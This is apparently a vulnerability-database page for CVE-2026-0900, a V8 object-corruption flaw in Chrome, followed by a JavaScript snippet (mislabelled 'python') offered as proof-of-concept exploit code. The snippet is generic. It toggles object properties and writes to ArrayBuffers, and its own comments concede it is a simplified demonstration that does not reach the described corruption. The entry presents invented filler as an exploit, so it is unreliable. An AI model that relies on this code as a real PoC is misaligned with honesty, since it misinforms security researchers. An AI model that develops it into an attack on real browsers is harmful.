Inappropriate implementation in V8 in Google Chrome prior to 144.0.7559.59 allowed a remote attacker to potentially exploit object corruption via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 144.0.7559.59
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-0900 PoC - V8 Object Corruption in Google Chrome
// This PoC demonstrates the vulnerability pattern (for educational purposes only)
function triggerV8ObjectCorruption() {
// Pattern: Create objects that may trigger V8 object corruption
// The actual exploitation requires specific V8 version and memory layout knowledge
// Initialize objects for manipulation
const targetObjects = [];
// Create array of objects with specific properties
for (let i = 0; i < 100; i++) {
targetObjects.push({
value: i,
data: new ArrayBuffer(1024)
});
}
// Trigger optimization and deoptimization cycles
function triggerCycles() {
for (let j = 0; j < 1000; j++) {
// Access objects in ways that may confuse V8's optimization
for (let i = 0; i < targetObjects.length; i++) {
// Polymorphic access to trigger hidden class transitions
if (j % 2 === 0) {
targetObjects[i].extra = j;
} else {
delete targetObjects[i].extra;
}
// Array buffer manipulation
const view = new DataView(targetObjects[i].data);
view.setUint32(0, j, true);
}
}
}
// Force JIT compilation
triggerCycles();
// Attempt to corrupt object structure
// In real exploitation, this would lead to arbitrary memory read/write
for (let i = 0; i < targetObjects.length; i++) {
// Access pattern that may expose corrupted object headers
const corruptedAccess = targetObjects[i].value;
console.log('Accessing object:', corruptedAccess);
}
return targetObjects;
}
// Execute the trigger function
try {
triggerV8ObjectCorruption();
console.log('PoC executed - V8 object corruption trigger attempted');
} catch (e) {
console.error('Error during execution:', e.message);
}
// Note: This is a simplified demonstration. Actual CVE-2026-0900 exploitation
// requires specific knowledge of V8 internals and precise memory manipulation.